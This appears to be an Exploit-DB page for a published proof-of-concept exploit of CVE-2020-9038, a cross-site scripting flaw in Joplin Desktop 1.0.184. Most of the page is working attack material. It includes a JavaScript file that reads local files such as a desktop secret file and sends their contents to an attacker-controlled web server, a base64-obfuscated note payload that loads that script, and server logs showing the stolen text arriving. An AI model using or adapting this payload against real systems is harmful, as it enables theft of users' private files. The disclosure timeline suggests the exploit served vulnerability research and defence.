afe5797b88
12 changes to exploits/shellcodes Cyberoam Authentication Client 2.1.2.7 - Buffer Overflow (SEH) Wing FTP Server 6.2.3 - Privilege Escalation Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow Joplin Desktop 1.0.184 - Cross-Site Scripting Netis WF2419 2.2.36123 - Remote Code Execution Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User) TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware) Wing FTP Server 6.2.5 - Privilege Escalation TP LINK TL-WR849N - Remote Code Execution Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload) Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit)
76 lines
No EOL
3.2 KiB
Text
76 lines
No EOL
3.2 KiB
Text
# Exploit Title: Joplin Desktop 1.0.184 - Cross-Site Scripting
|
|
# Exploit Author: Javier Olmedo
|
|
# Date: 2020-02-27
|
|
# Vendor: Laurent Cozic
|
|
# Software Link: https://github.com/laurent22/joplin/archive/v1.0.184.zip
|
|
# Affected Version: 1.0.184 and before
|
|
# Patched Version: 1.0.185
|
|
# Category: Remote
|
|
# Platform: Windows
|
|
# Tested on: Windows 10 Pro
|
|
# CWE: https://cwe.mitre.org/data/definitions/79.html
|
|
# CVE: 2020-9038
|
|
# References:
|
|
# https://github.com/JavierOlmedo/CVE-2020-9038
|
|
# https://github.com/laurent22/joplin/commit/3db47b575b9cb0a765da3d283baa2c065df0d0bc
|
|
|
|
# 1. Technical Description
|
|
# Joplin Desktop version 1.0.184 and before are affected by Cross-Site Scripting
|
|
# vulnerability through the malicious note. This allows a malicious user
|
|
# read arbitrary files of system.
|
|
|
|
# 2. Proof Of Concept (PoC)
|
|
# 2.1 Start a webserver to receive the connection in evil machine (you can use a python server).
|
|
|
|
python -m SimpleHTTPServer 8080
|
|
|
|
# 2.2 Upload exploit.js file to your web server (Change your IP, PORT and USER)
|
|
|
|
function readTextFile(file){
|
|
var rawFile = new XMLHttpRequest();
|
|
rawFile.open("GET", file, false);
|
|
rawFile.onreadystatechange = function (){
|
|
if(rawFile.readyState === 4){
|
|
if(rawFile.status === 200 || rawFile.status == 0){
|
|
allText = rawFile.responseText;
|
|
//alert(allText);
|
|
var img = document.createElement('img');
|
|
img.src = "http://[IP:PORT]/" + allText;
|
|
document.body.appendChild(img)
|
|
}
|
|
}
|
|
}
|
|
rawFile.send(null);
|
|
}
|
|
readTextFile("file:///C:/Users/[USER]/Desktop/SECRET.TXT");
|
|
//readTextFile("file:///C:/Windows/System32/drivers/etc/hosts");
|
|
|
|
# 2.3 Create a secret.txt file with any content in victim desktop.
|
|
|
|
# 2.4 Create a New note in Joplin Desktop and copy next payload in note body content (change your base64).
|
|
|
|
<p><img src onerror=eval(atob("dmFyIHNjcmlwdD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3J
|
|
pcHQiKTtzY3JpcHQudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzY3JpcHQuc3JjPSJodHRwOi8vMTkyLjE2O
|
|
C4xMDAuNjk6ODA4MC9leHBsb2l0LmpzIjtkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCI
|
|
pWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk="))></p>
|
|
|
|
# 2.5 Your web server will receive a request with the contents of the secret.txt file
|
|
|
|
Serving HTTP on 0.0.0.0 port 8080 ...
|
|
192.168.100.250 - - [02/Feb/2020 08:27:22] "GET /exploit.js HTTP/1.1" 200 -
|
|
192.168.100.250 - - [02/Feb/2020 08:27:27] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 -
|
|
|
|
# 3. Timeline
|
|
# 20, december 2019 - [RESEARCHER] Discover
|
|
# 20, december 2019 - [RESEARCHER] Report to vendor support
|
|
# 21, december 2019 - [DEVELOPER] Recognized vulnerability
|
|
# 13, february 2020 - [DEVELOPER] Patched vulnerability
|
|
# 27, february 2020 - [RESEARCHER] Public disclosure
|
|
|
|
# 4. Disclaimer
|
|
# The information contained in this notice is provided without any guarantee of use or otherwise.
|
|
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
|
|
# databases, provided that it is not modified and due credit is granted to the author.
|
|
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
|
|
# All content (c)
|
|
# Javier Olmedo |